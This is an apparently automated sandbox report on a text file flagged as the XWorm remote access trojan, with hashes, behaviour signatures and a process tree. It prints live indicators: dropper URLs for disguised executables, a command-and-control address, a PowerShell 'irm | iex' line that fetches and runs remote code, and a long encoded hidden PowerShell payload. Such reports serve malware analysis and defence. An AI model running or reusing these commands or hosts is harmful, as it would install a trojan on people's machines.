Overview

overview

10

Static

static

1

New Text Document.txt

windows10-ltsc 2021-x64

Analysis

  • max time kernel
    89s
  • max time network
    90s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250113-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    23-01-2025 16:15

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    New Text Document.txt

  • Size

    144B

  • MD5

    af335e9be68e6153129d6c23d82557f0

  • SHA1

    1ecbaeebd84c4783c2d644b95158c5ec4f285bf6

  • SHA256

    3014e597f348e41aa380aed3f84ce042a7f5f9113fbeb08c6b6e450555541527

  • SHA512

    f5268391fa1d4751e59901404cd26c4fdc3d982890b80addabd0194b3e5fc8dad747e7c93512bdc60f7274a9a4ee050617dcf9846f9ceb0108b16f9bb99e0336

Score
10/10
xwormexecutionpersistencerattrojan

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://github.com/AmjadBalls/TEST/raw/refs/heads/main/Discord.exe
exe.dropper

https://github.com/AmjadBalls/TEST/raw/refs/heads/main/GoogleChrome.exe
exe.dropper

https://github.com/AmjadBalls/TEST/raw/refs/heads/main/explorer.exe
exe.dropper

https://github.com/AmjadBalls/TEST/raw/refs/heads/main/svchost.exe

Extracted

Family

xworm

C2

147.185.221.24:35724

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 19 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 45 IoCs
  • Suspicious use of SendNotifyMessage 45 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\NOTEPAD.EXE
    C:\Windows\system32\NOTEPAD.EXE "C:\Users\Admin\AppData\Local\Temp\New Text Document.txt"
    1⤵
      PID:1712
    • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ExecutionPolicy Bypass -Command "Start-Process PowerShell -ArgumentList 'irm "https://tinyurl.com/4j72ashp/" | iex' -Verb RunAs"
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3720
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm https://tinyurl.com/4j72ashp/ | iex
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3268
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAiAGMAQQBCAHYAQQBIAGMAQQBaAFEAQgB5AEEASABNAEEAYQBBAEIAbABBAEcAdwBBAGIAQQBBAGcAQQBDADAAQQBUAGcAQgB2AEEARgBBAEEAYwBnAEIAdgBBAEcAWQBBAGEAUQBCAHMAQQBHAFUAQQBJAEEAQQB0AEEARQBVAEEAZQBBAEIAbABBAEcATQBBAGQAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEARgBBAEEAYgB3AEIAcwBBAEcAawBBAFkAdwBCADUAQQBDAEEAQQBRAGcAQgA1AEEASABBAEEAWQBRAEIAegBBAEgATQBBAEkAQQBBAHQAQQBGAGMAQQBhAFEAQgB1AEEARwBRAEEAYgB3AEIAMwBBAEYATQBBAGQAQQBCADUAQQBHAHcAQQBaAFEAQQBnAEEARQBnAEEAYQBRAEIAawBBAEcAUQBBAFoAUQBCAHUAQQBDAEEAQQBMAFEAQgBGAEEARwA0AEEAWQB3AEIAdgBBAEcAUQBBAFoAUQBCAGsAQQBFAE0AQQBiAHcAQgB0AEEARwAwAEEAWQBRAEIAdQBBAEcAUQBBAEkAQQBBAGkAQQBHAE0AQQBRAFEAQgBDAEEASABZAEEAUQBRAEIASQBBAEcATQBBAFEAUQBCAGEAQQBGAEUAQQBRAGcAQgA1AEEARQBFAEEAUwBBAEIATgBBAEUARQBBAFkAUQBCAEIAQQBFAEkAQQBiAEEAQgBCAEEARQBjAEEAZAB3AEIAQgBBAEcASQBBAFEAUQBCAEIAQQBHAGMAQQBRAFEAQgBEAEEARABBAEEAUQBRAEIAVwBBAEgAYwBBAFEAZwBCAHcAQQBFAEUAQQBSAHcAQQAwAEEARQBFAEEAVwBnAEIAQgBBAEUASQBBAGQAZwBCAEIAQQBFAGcAQQBZAHcAQgBCAEEARgBVAEEAZAB3AEIAQwBBAEQAQQBBAFEAUQBCAEkAQQBHAHMAQQBRAFEAQgBpAEEARQBFAEEAUQBnAEIAcwBBAEUARQBBAFEAdwBCAEIAQQBFAEUAQQBVAHcAQgBCAEEARQBJAEEAYwBBAEIAQgBBAEUAYwBBAFUAUQBCAEIAQQBGAG8AQQBRAFEAQgBDAEEARwB3AEEAUQBRAEIASABBAEQAUQBBAFEAUQBCAEoAQQBFAEUAQQBRAFEAQgAwAEEARQBFAEEAUgBRAEIATgBBAEUARQBBAFkAZwBCADMAQQBFAEkAQQBkAEEAQgBCAEEARQBjAEEATQBBAEIAQgBBAEYAawBBAFUAUQBCAEMAQQBIAFUAQQBRAFEAQgBIAEEARgBFAEEAUQBRAEIASgBBAEUARQBBAFEAUQBCAHAAQQBFAEUAQQBSAFEAQgBGAEEARQBFAEEAVwBnAEIAQgBBAEUASQBBAGEAdwBCAEIAQQBFAE0AQQBNAEEAQgBCAEEARgBRAEEAVQBRAEIAQwBBAEgAYwBBAFEAUQBCAEcAQQBFAEUAQQBRAFEAQgBqAEEARwBjAEEAUQBnAEIAcwBBAEUARQBBAFIAdwBCAFoAQQBFAEUAQQBXAGcAQgBSAEEARQBJAEEAZQBRAEIAQgBBAEUAYwBBAFYAUQBCAEIAQQBHAEkAQQBaAHcAQgBDAEEARwBvAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAEoAQQBFAEUAQQBRAFEAQgAwAEEARQBFAEEAUgBRAEIAVgBBAEUARQBBAFoAUQBCAEIAQQBFAEkAQQBhAGcAQgBCAEEARQBjAEEAZAB3AEIAQgBBAEcAUQBBAFUAUQBCAEMAQQBIAG8AQQBRAFEAQgBIAEEARwBzAEEAUQBRAEIAaQBBAEgAYwBBAFEAZwBCADEAQQBFAEUAQQBSAGcAQgBCAEEARQBFAEEAVwBRAEIAUgBBAEUASQBBAE0AQQBCAEIAQQBFAGMAQQBaAHcAQgBCAEEARQBrAEEAUQBRAEIAQgBBAEcANABBAFEAUQBCAEYAQQBFADAAQQBRAFEAQgBQAEEARwBjAEEAUQBnAEIAagBBAEUARQBBAFIAZwBCAEIAQQBFAEUAQQBZAHcAQgBuAEEARQBJAEEAZABnAEIAQgBBAEUAYwBBAFkAdwBCAEIAQQBHAE0AQQBaAHcAQgBDAEEARwBnAEEAUQBRAEIASABBAEQAQQBBAFEAUQBCAFMAQQBFAEUAQQBRAGcAQgBvAEEARQBFAEEAUwBBAEIAUgBBAEUARQBBAFcAUQBCAFIAQQBFAEUAQQBiAGcAQgBCAEEARQBNAEEAUwBRAEIAQgBBAEUATQBBAFoAdwBCAEMAQQBIAGMAQQBRAFEAQgBIAEEARABnAEEAUQBRAEIAawBBAEgAYwBBAFEAZwBCAHMAQQBFAEUAQQBTAEEAQgBKAEEARQBFAEEAWQB3AEIAMwBBAEUASQBBAGIAdwBCAEIAQQBFAGMAQQBWAFEAQgBCAEEARwBJAEEAUQBRAEIAQwBBAEgATQBBAFEAUQBCAEQAQQBFAEUAQQBRAFEAQgBNAEEARgBFAEEAUQBnAEIAWQBBAEUARQBBAFIAdwBCAHIAQQBFAEUAQQBZAGcAQgBuAEEARQBJAEEAYQB3AEIAQgBBAEUAYwBBAE8AQQBCAEIAQQBHAFEAQQBkAHcAQgBDAEEARgBRAEEAUQBRAEIASQBBAEYARQBBAFEAUQBCAGwAQQBGAEUAQQBRAGcAQgB6AEEARQBFAEEAUgB3AEIAVgBBAEUARQBBAFMAUQBCAEIAQQBFAEkAQQBTAFEAQgBCAEEARQBjAEEAYQB3AEIAQgBBAEYAbwBBAFEAUQBCAEMAQQBHAHMAQQBRAFEAQgBIAEEARgBVAEEAUQBRAEIAaQBBAEcAYwBBAFEAUQBCAG4AQQBFAEUAQQBRAHcAQQB3AEEARQBFAEEAVQBRAEIAMwBBAEUASQBBAGQAZwBCAEIAQQBFAGMAQQBNAEEAQgBCAEEARwBJAEEAVQBRAEIAQwBBAEcAZwBBAFEAUQBCAEgAQQBEAFEAQQBRAFEAQgBhAEEARQBFAEEAUQBRAEIAbgBBAEUARQBBAFEAdwBCAEoAQQBFAEUAQQBVAFEAQgBSAEEARQBJAEEAYQB3AEIAQgBBAEUAYwBBAFUAUQBCAEIAQQBFAHcAQQBVAFEAQgBDAEEARQA0AEEAUQBRAEIASQBBAEUARQBBAFEAUQBCAFYAQQBFAEUAQQBRAGcAQgA1AEEARQBFAEEAUgB3AEIAVgBBAEUARQBBAFcAZwBCAG4AQQBFAEkAQQBiAEEAQgBCAEEARQBnAEEAUwBRAEIAQgBBAEYAbwBBAFUAUQBCAEMAQQBIAFUAQQBRAFEAQgBIAEEARQAwAEEAUQBRAEIAYQBBAEYARQBBAFEAUQBCAG4AQQBFAEUAQQBRAHcAQQB3AEEARQBFAEEAVQBnAEIAUgBBAEUASQBBAE4AQQBCAEIAQQBFAGMAQQBUAFEAQgBCAEEARwBJAEEAUQBRAEIAQwBBAEQARQBBAFEAUQBCAEkAQQBFADAAQQBRAFEAQgBoAEEARgBFAEEAUQBnAEIAMgBBAEUARQBBAFIAdwBBADAAQQBFAEUAQQBWAFEAQgBCAEEARQBJAEEAYQBBAEIAQgBBAEUAZwBBAFUAUQBCAEIAQQBHAEUAQQBRAFEAQgBCAEEARwBjAEEAUQBRAEIARABBAEcATQBBAFEAUQBCAFIAQQBIAGMAQQBRAFEAQQAyAEEARQBFAEEAUgBnAEIAMwBBAEUARQBBAFYAZwBCAFIAQQBFAEkAQQBlAGcAQgBCAEEARQBjAEEAVgBRAEIAQgBBAEcATQBBAFoAdwBCAEMAQQBIAG8AQQBRAFEAQgBHAEEASABjAEEAUQBRAEIAVgBBAEUARQBBAFEAZwBBAHgAQQBFAEUAQQBSAHcAQgBKAEEARQBFAEEAWQBnAEIAQgBBAEUASQBBAGMAQQBCAEIAQQBFAGMAQQBUAFEAQgBCAEEARgBnAEEAUQBRAEIAQwBBAEUAVQBBAFEAUQBCAEgAQQBEAGcAQQBRAFEAQgBrAEEASABjAEEAUQBnAEIAMQBBAEUARQBBAFIAdwBCADMAQQBFAEUAQQBZAGcAQgAzAEEARQBJAEEAYQBBAEIAQgBBAEUAYwBBAFUAUQBCAEIAQQBHAE0AQQBkAHcAQgBCAEEARwA0AEEAUQBRAEIARABBAEUAawBBAFEAUQBCAEQAQQBHAGMAQQBRAGcAQgAzAEEARQBFAEEAUgB3AEEANABBAEUARQBBAFoAQQBCADMAQQBFAEkAQQBiAEEAQgBCAEEARQBnAEEAUwBRAEIAQgBBAEcATQBBAGQAdwBCAEMAQQBHADgAQQBRAFEAQgBIAEEARgBVAEEAUQBRAEIAaQBBAEUARQBBAFEAZwBCAHoAQQBFAEUAQQBRAHcAQgBCAEEARQBFAEEAVABBAEIAUgBBAEUASQBBAFcAQQBCAEIAQQBFAGMAQQBhAHcAQgBCAEEARwBJAEEAWgB3AEIAQwBBAEcAcwBBAFEAUQBCAEgAQQBEAGcAQQBRAFEAQgBrAEEASABjAEEAUQBnAEIAVQBBAEUARQBBAFMAQQBCAFIAQQBFAEUAQQBaAFEAQgBSAEEARQBJAEEAYwB3AEIAQgBBAEUAYwBBAFYAUQBCAEIAQQBFAGsAQQBRAFEAQgBDAEEARQBrAEEAUQBRAEIASABBAEcAcwBBAFEAUQBCAGEAQQBFAEUAQQBRAGcAQgByAEEARQBFAEEAUgB3AEIAVgBBAEUARQBBAFkAZwBCAG4AQQBFAEUAQQBaAHcAQgBCAEEARQBNAEEATQBBAEIAQgBBAEYARQBBAGQAdwBCAEMAQQBIAFkAQQBRAFEAQgBIAEEARABBAEEAUQBRAEIAaQBBAEYARQBBAFEAZwBCAG8AQQBFAEUAQQBSAHcAQQAwAEEARQBFAEEAVwBnAEIAQgBBAEUARQBBAFoAdwBCAEIAQQBFAE0AQQBTAFEAQgBCAEEARgBFAEEAVQBRAEIAQwBBAEcAcwBBAFEAUQBCAEgAQQBGAEUAQQBRAFEAQgBNAEEARgBFAEEAUQBnAEIATwBBAEUARQBBAFMAQQBCAEIAQQBFAEUAQQBWAFEAQgBCAEEARQBJAEEAZQBRAEIAQgBBAEUAYwBBAFYAUQBCAEIAQQBGAG8AQQBaAHcAQgBDAEEARwB3AEEAUQBRAEIASQBBAEUAawBBAFEAUQBCAGEAQQBGAEUAQQBRAGcAQgAxAEEARQBFAEEAUgB3AEIATgBBAEUARQBBAFcAZwBCAFIAQQBFAEUAQQBaAHcAQgBCAEEARQBNAEEATQBBAEIAQgBBAEYASQBBAFUAUQBCAEMAQQBEAFEAQQBRAFEAQgBIAEEARQAwAEEAUQBRAEIAaQBBAEUARQBBAFEAZwBBAHgAQQBFAEUAQQBTAEEAQgBOAEEARQBFAEEAWQBRAEIAUgBBAEUASQBBAGQAZwBCAEIAQQBFAGMAQQBOAEEAQgBCAEEARgBVAEEAUQBRAEIAQwBBAEcAZwBBAFEAUQBCAEkAQQBGAEUAQQBRAFEAQgBoAEEARQBFAEEAUQBRAEIAbgBBAEUARQBBAFEAdwBCAGoAQQBFAEUAQQBVAFEAQgAzAEEARQBFAEEATgBnAEIAQgBBAEUAWQBBAGQAdwBCAEIAQQBGAFkAQQBkAHcAQgBDAEEASABBAEEAUQBRAEIASABBAEQAUQBBAFEAUQBCAGEAQQBFAEUAQQBRAGcAQgAyAEEARQBFAEEAUwBBAEIAagBBAEUARQBBAFkAdwBCADMAQQBFAEkAQQBZAHcAQgBCAEEARQBZAEEAVABRAEIAQgBBAEcAVQBBAFUAUQBCAEMAQQBIAG8AQQBRAFEAQgBJAEEARgBFAEEAUQBRAEIAYQBBAEYARQBBAFEAZwBCADAAQQBFAEUAQQBSAEEAQgBOAEEARQBFAEEAVABRAEIAbgBBAEUARQBBAGIAZwBCAEIAQQBFAE0AQQBTAFEAQgBCAEEARQBNAEEAWgB3AEIAQwBBAEgAYwBBAFEAUQBCAEgAQQBEAGcAQQBRAFEAQgBrAEEASABjAEEAUQBnAEIAcwBBAEUARQBBAFMAQQBCAEoAQQBFAEUAQQBZAHcAQgAzAEEARQBJAEEAYgB3AEIAQgBBAEUAYwBBAFYAUQBCAEIAQQBHAEkAQQBRAFEAQgBDAEEASABNAEEAUQBRAEIARABBAEUARQBBAFEAUQBCAE0AQQBGAEUAQQBRAGcAQgBZAEEARQBFAEEAUgB3AEIAcgBBAEUARQBBAFkAZwBCAG4AQQBFAEkAQQBhAHcAQgBCAEEARQBjAEEATwBBAEIAQgBBAEcAUQBBAGQAdwBCAEMAQQBGAFEAQQBRAFEAQgBJAEEARgBFAEEAUQBRAEIAbABBAEYARQBBAFEAZwBCAHoAQQBFAEUAQQBSAHcAQgBWAEEARQBFAEEAUwBRAEIAQgBBAEUASQBBAFMAUQBCAEIAQQBFAGMAQQBhAHcAQgBCAEEARgBvAEEAUQBRAEIAQwBBAEcAcwBBAFEAUQBCAEgAQQBGAFUAQQBRAFEAQgBpAEEARwBjAEEAUQBRAEIAbgBBAEUARQBBAFEAdwBBAHcAQQBFAEUAQQBVAFEAQgAzAEEARQBJAEEAZABnAEIAQgBBAEUAYwBBAE0AQQBCAEIAQQBHAEkAQQBVAFEAQgBDAEEARwBnAEEAUQBRAEIASABBAEQAUQBBAFEAUQBCAGEAQQBFAEUAQQBRAFEAQgBuAEEARQBFAEEAUQB3AEIASgBBAEUARQBBAFUAUQBCAFIAQQBFAEkAQQBhAHcAQgBCAEEARQBjAEEAVQBRAEIAQgBBAEUAdwBBAFUAUQBCAEMAQQBFADQAQQBRAFEAQgBJAEEARQBFAEEAUQBRAEIAVgBBAEUARQBBAFEAZwBCADUAQQBFAEUAQQBSAHcAQgBWAEEARQBFAEEAVwBnAEIAbgBBAEUASQBBAGIAQQBCAEIAQQBFAGcAQQBTAFEAQgBCAEEARgBvAEEAVQBRAEIAQwBBAEgAVQBBAFEAUQBCAEgAQQBFADAAQQBRAFEAQgBhAEEARgBFAEEAUQBRAEIAbgBBAEUARQBBAFEAdwBBAHcAQQBFAEUAQQBVAGcAQgBSAEEARQBJAEEATgBBAEIAQgBBAEUAYwBBAFQAUQBCAEIAQQBHAEkAQQBRAFEAQgBDAEEARABFAEEAUQBRAEIASQBBAEUAMABBAFEAUQBCAGgAQQBGAEUAQQBRAGcAQgAyAEEARQBFAEEAUgB3AEEAMABBAEUARQBBAFYAUQBCAEIAQQBFAEkAQQBhAEEAQgBCAEEARQBnAEEAVQBRAEIAQgBBAEcARQBBAFEAUQBCAEIAQQBHAGMAQQBRAFEAQgBEAEEARwBNAEEAUQBRAEIAUgBBAEgAYwBBAFEAUQBBADIAQQBFAEUAQQBSAGcAQgAzAEEARQBFAEEAVgBnAEIAMwBBAEUASQBBAGMAQQBCAEIAQQBFAGMAQQBOAEEAQgBCAEEARgBvAEEAUQBRAEIAQwBBAEgAWQBBAFEAUQBCAEkAQQBHAE0AQQBRAFEAQgBqAEEASABjAEEAUQBnAEIAagBBAEUARQBBAFIAZwBCAE4AQQBFAEUAQQBaAFEAQgBSAEEARQBJAEEAZQBnAEIAQgBBAEUAWQBBAFkAdwBCAEIAQQBGAFEAQQBkAHcAQgBDAEEARgBnAEEAUQBRAEIARQBBAEYAawBBAFEAUQBCAE8AQQBFAEUAQQBRAFEAQgB1AEEARQBFAEEAUQB3AEIASgBBAEUARQBBAFEAdwBCAG4AQQBFAEkAQQBkAHcAQgBCAEEARQBjAEEATwBBAEIAQgBBAEcAUQBBAGQAdwBCAEMAQQBHAHcAQQBRAFEAQgBJAEEARQBrAEEAUQBRAEIAagBBAEgAYwBBAFEAZwBCAHYAQQBFAEUAQQBSAHcAQgBWAEEARQBFAEEAWQBnAEIAQgBBAEUASQBBAGMAdwBCAEIAQQBFAE0AQQBRAFEAQgBCAEEARQB3AEEAVQBRAEIAQwBBAEYAZwBBAFEAUQBCAEgAQQBHAHMAQQBRAFEAQgBpAEEARwBjAEEAUQBnAEIAcgBBAEUARQBBAFIAdwBBADQAQQBFAEUAQQBaAEEAQgAzAEEARQBJAEEAVgBBAEIAQgBBAEUAZwBBAFUAUQBCAEIAQQBHAFUAQQBVAFEAQgBDAEEASABNAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAEoAQQBFAEUAQQBRAGcAQgBKAEEARQBFAEEAUgB3AEIAcgBBAEUARQBBAFcAZwBCAEIAQQBFAEkAQQBhAHcAQgBCAEEARQBjAEEAVgBRAEIAQgBBAEcASQBBAFoAdwBCAEIAQQBHAGMAQQBRAFEAQgBEAEEARABBAEEAUQBRAEIAUgBBAEgAYwBBAFEAZwBCADIAQQBFAEUAQQBSAHcAQQB3AEEARQBFAEEAWQBnAEIAUgBBAEUASQBBAGEAQQBCAEIAQQBFAGMAQQBOAEEAQgBCAEEARgBvAEEAUQBRAEIAQgBBAEcAYwBBAFEAUQBCAEQAQQBFAGsAQQBRAFEAQgBSAEEARgBFAEEAUQBnAEIAcgBBAEUARQBBAFIAdwBCAFIAQQBFAEUAQQBUAEEAQgBSAEEARQBJAEEAVABnAEIAQgBBAEUAZwBBAFEAUQBCAEIAQQBGAFUAQQBRAFEAQgBDAEEASABrAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAGEAQQBHAGMAQQBRAGcAQgBzAEEARQBFAEEAUwBBAEIASgBBAEUARQBBAFcAZwBCAFIAQQBFAEkAQQBkAFEAQgBCAEEARQBjAEEAVABRAEIAQgBBAEYAbwBBAFUAUQBCAEIAQQBHAGMAQQBRAFEAQgBEAEEARABBAEEAUQBRAEIAUwBBAEYARQBBAFEAZwBBADAAQQBFAEUAQQBSAHcAQgBOAEEARQBFAEEAWQBnAEIAQgBBAEUASQBBAE0AUQBCAEIAQQBFAGcAQQBUAFEAQgBCAEEARwBFAEEAVQBRAEIAQwBBAEgAWQBBAFEAUQBCAEgAQQBEAFEAQQBRAFEAQgBWAEEARQBFAEEAUQBnAEIAbwBBAEUARQBBAFMAQQBCAFIAQQBFAEUAQQBZAFEAQgBCAEEARQBFAEEAWgB3AEIAQgBBAEUATQBBAFkAdwBCAEIAQQBGAEUAQQBkAHcAQgBCAEEARABZAEEAUQBRAEIARwBBAEgAYwBBAFEAUQBCAFcAQQBIAGMAQQBRAGcAQgB3AEEARQBFAEEAUgB3AEEAMABBAEUARQBBAFcAZwBCAEIAQQBFAEkAQQBkAGcAQgBCAEEARQBnAEEAWQB3AEIAQgBBAEcATQBBAGQAdwBCAEIAQQBHADQAQQBRAFEAQgBEAEEARQBrAEEAUQBRAEIARABBAEcAYwBBAFEAUQBCAEwAQQBFAEUAQQBRAHcAQgBSAEEARQBFAEEAWgBBAEIAUgBBAEUASQBBAGUAUQBCAEIAQQBFAGMAQQBkAHcAQgBCAEEARQAwAEEAVQBRAEIAQgBBAEcAYwBBAFEAUQBCAEUAQQBEAEEAQQBRAFEAQgBKAEEARQBFAEEAUQBRAEIAdQBBAEUARQBBAFIAdwBCAG4AQQBFAEUAQQBaAEEAQgBCAEEARQBJAEEATQBBAEIAQgBBAEUAZwBBAFEAUQBCAEIAQQBHAE0AQQBkAHcAQgBCAEEARABZAEEAUQBRAEIARABBAEQAZwBBAFEAUQBCAE0AQQBIAGMAQQBRAGcAQgB1AEEARQBFAEEAUgB3AEIAcgBBAEUARQBBAFoAQQBCAEIAQQBFAEkAQQBiAHcAQgBCAEEARQBnAEEAVgBRAEIAQgBBAEYAawBBAFoAdwBCAEIAQQBIAFUAQQBRAFEAQgBIAEEARQAwAEEAUQBRAEIAaQBBAEgAYwBBAFEAZwBCADAAQQBFAEUAQQBRAHcAQQA0AEEARQBFAEEAVQBRAEIAUgBBAEUASQBBAGQAQQBCAEIAQQBFAGMAQQBiAHcAQgBCAEEARgBrAEEAVQBRAEIAQwBBAEcAcwBBAFEAUQBCAEYAQQBFAGsAQQBRAFEAQgBaAEEARgBFAEEAUQBnAEIAegBBAEUARQBBAFIAdwBCADMAQQBFAEUAQQBZAHcAQgAzAEEARQBFAEEAZABnAEIAQgBBAEUAWQBBAFUAUQBCAEIAQQBGAEkAQQBVAFEAQgBDAEEARgBRAEEAUQBRAEIARwBBAEYARQBBAFEAUQBCAE0AQQBIAGMAQQBRAGcAQgA1AEEARQBFAEEAUgB3AEIARgBBAEUARQBBAFoAQQBCADMAQQBFAEUAQQBkAGcAQgBCAEEARQBnAEEAUwBRAEIAQgBBAEYAbwBBAFUAUQBCAEMAQQBHADAAQQBRAFEAQgBJAEEARQAwAEEAUQBRAEIATQBBAEgAYwBBAFEAZwBCAHYAQQBFAEUAQQBSAHcAQgBWAEEARQBFAEEAVwBRAEIAUgBBAEUASQBBAGEAdwBCAEIAQQBFAGcAQQBUAFEAQgBCAEEARQB3AEEAZAB3AEIAQwBBAEgAUQBBAFEAUQBCAEgAQQBFAFUAQQBRAFEAQgBoAEEARgBFAEEAUQBnAEIAMQBBAEUARQBBAFEAdwBBADQAQQBFAEUAQQBVAGcAQgBCAEEARQBJAEEAYwBBAEIAQgBBAEUAZwBBAFQAUQBCAEIAQQBGAGsAQQBkAHcAQgBDAEEASABZAEEAUQBRAEIASQBBAEUAawBBAFEAUQBCAGEAQQBFAEUAQQBRAFEAQgAxAEEARQBFAEEAUgB3AEIAVgBBAEUARQBBAFoAUQBCAEIAQQBFAEkAQQBiAEEAQgBCAEEARQBNAEEAWQB3AEIAQgBBAEUATQBBAFoAdwBCAEIAQQBHAHMAQQBRAFEAQgBJAEEARgBVAEEAUQBRAEIAagBBAEcAYwBBAFEAZwBCAHoAQQBFAEUAQQBSAEEAQgBKAEEARQBFAEEAUwBRAEIAQgBBAEUARQBBAE8AUQBCAEIAQQBFAE0AQQBRAFEAQgBCAEEARQBvAEEAZAB3AEIAQwBBAEcAOABBAFEAUQBCAEkAQQBGAEUAQQBRAFEAQgBrAEEARQBFAEEAUQBnAEIAMwBBAEUARQBBAFMAQQBCAE4AQQBFAEUAQQBUAHcAQgBuAEEARQBFAEEAZABnAEIAQgBBAEUATQBBAE8AQQBCAEIAQQBGAG8AQQBkAHcAQgBDAEEASABBAEEAUQBRAEIASQBBAEYARQBBAFEAUQBCAGgAQQBFAEUAQQBRAGcAQQB4AEEARQBFAEEAUgB3AEIASgBBAEUARQBBAFQAQQBCAG4AQQBFAEkAQQBhAGcAQgBCAEEARQBjAEEATwBBAEIAQgBBAEcASQBBAFUAUQBCAEIAQQBIAFkAQQBRAFEAQgBGAEEARQBVAEEAUQBRAEIAaQBBAEYARQBBAFEAZwBCAHgAQQBFAEUAQQBSAHcAQgBGAEEARQBFAEEAVwBnAEIAQgBBAEUASQBBAFEAdwBCAEIAQQBFAGMAQQBSAFEAQgBCAEEARwBJAEEAUQBRAEIAQwBBAEgATQBBAFEAUQBCAEkAQQBFADAAQQBRAFEAQgBNAEEASABjAEEAUQBnAEIAVgBBAEUARQBBAFIAUQBCAFYAQQBFAEUAQQBWAFEAQgAzAEEARQBJAEEAVgBRAEIAQgBBAEUATQBBAE8AQQBCAEIAQQBHAE0AQQBaAHcAQgBDAEEARwBnAEEAUQBRAEIASQBBAEcATQBBAFEAUQBCAE0AQQBIAGMAQQBRAGcAQgA1AEEARQBFAEEAUgB3AEIAVgBBAEUARQBBAFcAZwBCAG4AQQBFAEkAQQBlAGcAQgBCAEEARQBNAEEATwBBAEIAQgBBAEcARQBBAFEAUQBCAEMAQQBHAHcAQQBRAFEAQgBIAEEARQBVAEEAUQBRAEIAYQBBAEUARQBBAFEAZwBCADYAQQBFAEUAQQBRAHcAQQA0AEEARQBFAEEAWQBnAEIAUgBBAEUASQBBAGEAQQBCAEIAQQBFAGMAQQBhAHcAQgBCAEEARwBJAEEAWgB3AEIAQgBBAEgAWQBBAFEAUQBCAEYAQQBHAE0AQQBRAFEAQgBpAEEASABjAEEAUQBnAEIAMgBBAEUARQBBAFIAdwBCAGoAQQBFAEUAQQBZAGcAQgBCAEEARQBJAEEAYgBBAEIAQgBBAEUAVQBBAFQAUQBCAEIAQQBHAEUAQQBRAFEAQgBDAEEASABrAEEAUQBRAEIASABBAEQAZwBBAFEAUQBCAGkAQQBGAEUAQQBRAGcAQgBzAEEARQBFAEEAUQB3AEEAMABBAEUARQBBAFcAZwBCAFIAQQBFAEkAQQBOAEEAQgBCAEEARQBjAEEAVgBRAEIAQgBBAEUAbwBBAGQAdwBCAEIAQQBFAHMAQQBRAFEAQgBEAEEARgBFAEEAUQBRAEIAawBBAEYARQBBAFEAZwBCADUAQQBFAEUAQQBSAHcAQgAzAEEARQBFAEEAVABRAEIAMwBBAEUARQBBAFoAdwBCAEIAQQBFAFEAQQBNAEEAQgBCAEEARQBrAEEAUQBRAEIAQgBBAEcANABBAFEAUQBCAEgAQQBHAGMAQQBRAFEAQgBrAEEARQBFAEEAUQBnAEEAdwBBAEUARQBBAFMAQQBCAEIAQQBFAEUAQQBZAHcAQgAzAEEARQBFAEEATgBnAEIAQgBBAEUATQBBAE8AQQBCAEIAQQBFAHcAQQBkAHcAQgBDAEEARwA0AEEAUQBRAEIASABBAEcAcwBBAFEAUQBCAGsAQQBFAEUAQQBRAGcAQgB2AEEARQBFAEE